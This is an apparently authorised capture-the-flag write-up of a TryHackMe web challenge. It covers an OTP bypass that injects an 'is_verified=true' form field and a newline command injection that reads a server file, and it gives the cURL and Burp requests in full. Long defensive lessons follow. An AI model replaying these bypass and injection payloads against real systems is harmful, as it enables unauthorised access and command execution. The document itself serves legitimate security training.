Pathway: Jr Penetration Tester | Section: Jr Pentester Challenges | Challenge: Interceptor
Important
Working write-up notice: This was a working and verified write-up at the time of writing on 16 July 2026.
Spoiler warning: This write-up documents the exploitation chain, although credentials, exact challenge-specific values and flag codes are not shown.
Please note: The IP addresses used during the lab were dynamically allocated by TryHackMe. The attack was performed from my own Kali Linux VM using OpenVPN to connect to the TryHackMe VPN.
The following placeholders are used throughout:
<TARGET_IP>represents the IP address allocated to the target machine.<TUN0_IP>represents the IP address assigned to the Kali Linuxtun0interface.<REDACTED>represents credentials, sensitive values, exact challenge answers or other material that would directly give away the room.THM{....}represents a redacted TryHackMe flag.
Licence: Unless otherwise stated, all write-ups and documentation in this repository are licensed under CC BY 4.0.
Any original scripts or code snippets are provided under the MIT Licence.
This write-up was made possible by the hard work of the TryHackMe team and the wider cyber security community, who continue to create practical and engaging learning environments for aspiring security professionals.
TryHackMe is an online cyber security training platform that provides hands-on labs covering penetration testing, networking, web application security, privilege escalation and defensive security. Its rooms allow learners to develop practical technical skills within controlled and authorised environments.
Interceptor is a web-application challenge built around a fictional internal media portal named MediaHub. The room focuses on understanding how a browser communicates with backend endpoints and how an attacker can alter HTTP requests and responses with Burp Suite.
The successful attack chain involved:
- Confirming VPN connectivity, routing and local hostname resolution.
- Enumerating the exposed SSH, DNS and HTTP services.
- Discovering web application files, including an exposed backup copy of the login page.
- Recovering the administrative email address and password format from the backup.
- Logging in and reaching the two-factor authentication page.
- Intercepting the OTP request with Burp Suite.
- Adding a client-controlled verification parameter to the multipart request.
- Observing and modifying the JSON response returned to the browser.
- Reproducing the request-side bypass with cURL and a persistent session cookie.
- Accessing the administrative dashboard and obtaining the first redacted flag.
- Identifying a feed-import function that executed a system command.
- Bypassing weak character filtering with a literal newline.
- Reading
/var/www/user.txtand obtaining the second redacted flag.
Confirmed lab details used during the walkthrough:
Target IP: <TARGET_IP>
Kali tun0 IP: <TUN0_IP>
Attacker working directory: /tmp/VK/
Local hostname: interceptor.thm
The hostname was added to the Kali VM's local hosts file:
echo "<TARGET_IP> interceptor.thm" | sudo tee -a /etc/hostsThe mapping was confirmed with:
getent hosts interceptor.thmVPN routing and the tunnel address were also verified:
ip route get <TARGET_IP>
ip -br address show tun0The expected route showed traffic leaving through tun0 and using <TUN0_IP> as the source address:
<TARGET_IP> via <REDACTED> dev tun0 src <TUN0_IP>
This confirmed that traffic to the target was routed through tun0 using <TUN0_IP>.
Tip
When using your own Kali Linux VM, the /etc/hosts file is especially important in TryHackMe challenges. Many rooms depend on hostname-based routing, virtual hosts, redirects, cookies or application logic that may not work correctly when the expected hostname is missing.
Over time, /etc/hosts can become cluttered with entries from previous rooms. It is advantageous to keep the file clear, tidy and focused on the challenge currently being worked on.
A neglected hosts file eventually becomes DNS spaghetti - technically functional, but not something anybody should be proud of.
The file can be reviewed with:
cat /etc/hostsAn old entry for this room can be removed with:
sudo sed -i '/interceptor\.thm/d' /etc/hostsThe correct mapping can then be added again using the currently allocated <TARGET_IP>.
The principal tools and utilities used during the challenge were:
ipfor confirming VPN routing and thetun0address.getentandpingfor validating hostname resolution and connectivity.rustscanandnmapfor TCP port and service enumeration.dirsearchandferoxbusterfor web content discovery.digfor basic DNS testing.- Firefox for interacting with the MediaHub application.
- Burp Suite for intercepting and modifying HTTP traffic.
- cURL for reproducing requests, maintaining cookies and testing the vulnerable endpoints.
cat,lsand other standard Linux utilities for local file and output inspection.
Click HERE to return to the repository README.
The Tools Commonly Used section contains links to tools used throughout the pathway.
An initial Nmap scan was performed:
nmap -sC -sV -Pn -oN nmap_output.txt interceptor.thmA rapid RustScan scan was also used to confirm the same exposed services:
rustscan -b 500 -a interceptor.thm --top -- -sC -sV -PnThe principal findings were:
22/tcp open ssh
53/tcp open domain
80/tcp open http
Service detection identified:
SSH: OpenSSH on Ubuntu
DNS: ISC BIND
HTTP: Apache on Ubuntu
The HTTP title was:
MediaHub
The web service also issued a PHPSESSID cookie, confirming that the application used PHP sessions.
The target's DNS service was queried directly:
dig @<TARGET_IP> interceptor.thmThe server refused recursive resolution.
A zone-transfer attempt was also made:
dig -t AXFR interceptor.thm @<TARGET_IP>The transfer failed, so DNS did not provide a useful path forward.
Dirsearch was used against the web root:
dirsearch -u http://interceptor.thm/Feroxbuster was then used with common web extensions:
feroxbuster \
-u http://interceptor.thm/ \
--dont-scan http://interceptor.thm/phpmyadmin \
-w /usr/share/wordlists/dirb/big.txt \
-x php,txt,html,py,php.bak,php~ \
-t 50 \
-k \
-C 404 \
--redirectsNotable findings included:
/assets/
/uploads/
/config.php
/dashboard.php
/login.php
/api_login.php
/search.php
/phpmyadmin/
The most important discovery was:
/login.php.bak
The backup file was accessible directly and contained the original PHP source comments.
The backup was retrieved with:
curl -s http://interceptor.thm/login.php.bakThe source code disclosed:
Administrative email: <REDACTED>
Password format: <REDACTED>
This was a serious information-disclosure issue because it revealed enough information to authenticate as the administrative user.
The live login page also showed that credentials were submitted asynchronously to:
/api_login.php
Successful authentication redirected the browser to:
/otp.php
The OTP form submitted a six-digit value to:
/verify_otp.php
The exposed credentials were submitted through the browser:
Email: <REDACTED>
Password: <REDACTED>
The application accepted the credentials but required a six-digit one-time password before granting access to the dashboard.
A test value was entered into the OTP form:
<REDACTED>
The important objective was not to guess the correct OTP, but to inspect and manipulate the request sent by the browser.
Burp Suite was launched and its default proxy listener was confirmed:
127.0.0.1:8080
The application was opened using Burp's built-in browser. After logging in and reaching the OTP page, interception was enabled before pressing Verify.
Burp captured:
POST /verify_otp.php HTTP/1.1
Host: interceptor.thm
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary<REDACTED>
Cookie: PHPSESSID=<REDACTED>The original multipart body contained only the OTP field:
------WebKitFormBoundary<REDACTED>
Content-Disposition: form-data; name="otp"
<REDACTED>
------WebKitFormBoundary<REDACTED>--A second form field was added before the final terminating boundary:
------WebKitFormBoundary<REDACTED>
Content-Disposition: form-data; name="otp"
<REDACTED>
------WebKitFormBoundary<REDACTED>
Content-Disposition: form-data; name="is_verified"
true
------WebKitFormBoundary<REDACTED>--Important
The boundary string must remain identical throughout the request. Only the final boundary should end with --.
Placing another field after a terminating boundary creates a malformed multipart request and may cause the added field to be ignored.
This request demonstrated a mass-assignment or client-controlled state weakness. The server accepted a verification-related field supplied by the client instead of deriving the verification state exclusively from a valid server-side OTP check.
Burp was configured to intercept the response to the OTP request:
- Right-click inside the intercepted request.
- Select Do intercept.
- Select Response to this request.
- Forward the request once.
The server returned JSON similar to:
{
"ok": false,
"error": "Invalid OTP. Try again.",
"is_verified": false
}For demonstration purposes, the browser-facing response was changed to:
{
"ok": true,
"message": "OTP verified successfully.",
"is_verified": true
}The modified response caused the client-side JavaScript to display a successful verification message and request:
/dashboard.php
However, modifying a response alone only changes what the browser sees. It does not necessarily update the server-side session. The reliable bypass was therefore the request-side injection of the verification parameter.
The attack was reproduced cleanly from Kali Linux using a cookie jar.
First, an administrative session was created:
curl -s \
-c admin.cookies \
-X POST http://interceptor.thm/api_login.php \
-F 'email=<REDACTED>' \
-F 'password=<REDACTED>'The application confirmed that the credentials were valid and that OTP verification was required.
The client-controlled verification field was then submitted directly:
curl -s \
-b admin.cookies \
-c admin.cookies \
-X POST http://interceptor.thm/verify_otp.php \
-F 'is_verified=true'The server accepted the supplied verification state and updated the PHP session.
The protected dashboard was then requested with the same cookie:
curl -s \
-b admin.cookies \
http://interceptor.thm/dashboard.phpThe returned HTML confirmed:
Role: admin
Verified: Yes
Flag: THM{....}
This completed the first objective.
The administrative dashboard included an Import Feed feature. The browser submitted a user-controlled URL to:
/import_feed_api.php
The JavaScript attempted to remove several shell metacharacters:
const url = url1.replace(/[;&|]/g, '');This was only a browser-side control and could be bypassed by sending requests directly.
A harmless localhost request was tested first:
curl -s \
-b admin.cookies \
-X POST http://interceptor.thm/import_feed_api.php \
-F 'url=http://127.0.0.1/'The response was:
{"ok":false,"error":"Private network access blocked"}This showed that the application attempted to restrict private-network destinations.
A semicolon-separated payload was attempted:
curl -s \
-b admin.cookies \
-X POST http://interceptor.thm/import_feed_api.php \
-F 'url=https://example.com;cat /var/www/user.txt'The semicolon was neutralised and only the intended network request ran.
The application was then tested with a literal newline as the command separator:
curl -s \
-b admin.cookies \
-X POST http://interceptor.thm/import_feed_api.php \
-F $'url=https://example.com\ncat /var/www/user.txt'Bash's $'...' quoting inserted an actual newline into the submitted form value. When the vulnerable application passed the value to a shell, the newline separated the intended command from:
cat /var/www/user.txtThe server returned:
{
"ok": true,
"message": "Feed fetched successfully",
"cmd_output": "THM{....}\n"
}This completed the second objective.
The target address and tun0 address were confirmed. The room hostname was mapped to <TARGET_IP> in /etc/hosts, ensuring that Apache, cookies and the PHP application were accessed through the expected hostname.
RustScan and Nmap identified SSH, DNS and HTTP services. Apache hosted the MediaHub application on port 80.
Dirsearch and Feroxbuster identified the login endpoint, API routes, protected dashboard, upload directory and an exposed backup copy of the login page.
login.php.bak contained comments that disclosed the administrative account and password format. The exact values are redacted from this public write-up.
The recovered information was used to pass the primary login stage. The application then required a six-digit OTP.
Burp Suite captured the multipart request sent to /verify_otp.php. A second form field was inserted into the body while preserving the original WebKit boundary.
The added is_verified=true field was accepted by the server. This exposed a trust-boundary failure in which the client could influence an authentication decision that should have been controlled only by server-side logic.
The OTP JSON response was intercepted and modified to demonstrate that the browser trusted client-visible fields such as ok and is_verified. This changed the front-end behaviour but was not, by itself, sufficient to prove server-side authentication.
The request-side flaw was reproduced with cURL. A persistent PHP session cookie was created, the verification parameter was submitted and the session became authenticated.
The dashboard was retrieved with the updated cookie and displayed the first redacted flag:
THM{....}
The dashboard exposed a feed-import function that passed user-controlled input into a system command and returned the resulting command output.
Although the application filtered ;, & and |, it did not reject newline characters. A literal newline separated the intended URL-fetching command from a second shell command.
The injected command read /var/www/user.txt, returning the second redacted flag:
THM{....}
Interceptor demonstrated several useful penetration-testing and defensive-security lessons:
- Confirm VPN routing and hostname resolution before troubleshooting higher-level application behaviour.
- Keep
/etc/hoststidy when using a personal Kali Linux VM for TryHackMe rooms. - Backup files such as
.bakcopies can disclose source code, comments, credentials and implementation assumptions. - Client-side validation is not a security boundary because requests can be modified or recreated outside the browser.
- Authentication state must never be accepted directly from client-controlled fields.
- Burp Suite can intercept both requests and responses, but the security impact of each must be understood separately.
- Modifying a response may fool browser-side logic without changing the server-side session.
- Multipart form boundaries must be preserved exactly when manually editing request bodies.
- Persistent cookie jars make cURL useful for reproducing stateful web-application attacks.
- Blacklisting a handful of shell metacharacters is not a reliable defence against command injection.
- Newline characters can act as shell command separators.
- URL allow-lists and private-network checks do not address command injection when the input is passed to a shell.
- Returning raw command output to the browser significantly increases the impact of command-execution flaws.
- A successful exploit should be verified at the server side rather than inferred only from a front-end message.
- Public write-ups should explain the method while withholding live credentials, exact flags and unnecessary challenge giveaways.
The most important lesson was that the room involved two different trust failures. The OTP flow trusted a client-supplied authentication value, while the feed importer trusted user input inside a shell command. In both cases, controls implemented in the browser did not protect the backend.
- Remove backup, temporary and editor-generated files from the production web root.
- Configure the deployment process to exclude
.bak,.old,.swp,~and similar files. - Deny access to backup extensions at the web-server level.
- Never store credentials, password formats or sensitive operational notes in source-code comments.
- Add automated secret scanning to the development and deployment pipeline.
- Rotate credentials immediately if they are exposed in a public or web-accessible file.
- Generate, store and validate OTPs entirely on the server.
- Do not accept fields such as
verified,is_verified,roleorauthenticatedfrom untrusted clients. - Maintain authentication state exclusively in the server-side session.
- Bind the OTP challenge to the correct user, session and expiry time.
- Apply rate limiting and attempt counters to OTP verification.
- Invalidate OTPs after successful use.
- Regenerate the session identifier after authentication and privilege changes.
- Require server-side authorisation checks on every protected route.
- Avoid returning unnecessary internal authentication-state fields in JSON responses.
- Log and alert on malformed OTP requests or unexpected verification parameters.
- Treat browser-side JavaScript as a usability feature, not a security control.
- Validate all inputs again on the server.
- Reject unexpected form fields by using an explicit request schema.
- Use strict content-type and parameter validation.
- Avoid exposing detailed authentication errors that assist attackers.
- Ensure front-end redirects are backed by independent server-side access checks.
- Do not construct shell commands from user-supplied URLs.
- Use a native HTTP client library rather than invoking
curlthrough a shell. - If a system command is unavoidable, pass arguments as a fixed array without shell interpretation.
- Avoid functions or options that invoke
/bin/sh -c. - Apply a strict allow-list for URL schemes, hostnames, ports and characters.
- Reject control characters, including carriage returns and newlines.
- Resolve and validate destination addresses before connecting.
- Revalidate every redirect destination.
- Block loopback, private, link-local and reserved address ranges.
- Apply outbound network restrictions to the web service.
- Return only the minimum data required by the user interface.
- Do not expose raw stderr or command output to the client.
- Set PHP session cookies with
HttpOnly,Secureand an appropriateSameSitepolicy. - Use HTTPS for authentication and session traffic.
- Disable directory listing unless there is a documented requirement.
- Restrict administrative interfaces and database-management tools.
- Remove unused services and development components from the production host.
- Apply current security updates to Apache, PHP and the operating system.
- Monitor requests to sensitive endpoints such as login, OTP and import functions.
- Keep
/etc/hostslimited to active lab mappings. - Remove stale challenge entries after each room.
- Maintain a separate working directory for each engagement.
- Save scan output and relevant HTTP evidence.
- Confirm the target and
tun0addresses before running commands. - Validate each stage of an attack chain before moving to the next.
This write-up is intended solely for education, training and documentation of an authorised TryHackMe lab.
All tools, commands, payloads and post-exploitation techniques described here were used within a controlled environment provided by TryHackMe. Permission to interact with the target was granted by the platform owner and operator as part of the room.
The tools and methods documented in this walkthrough represent one successful approach. They are not the only possible techniques, and alternative tools or workflows may produce the same result.
Never test, scan, exploit or access a system without clear and explicit authorisation from its owner.
Powered on ☕ made with ❤️ by V4L1K4HN
⭐ If this project is useful, consider starring it on GitHub.

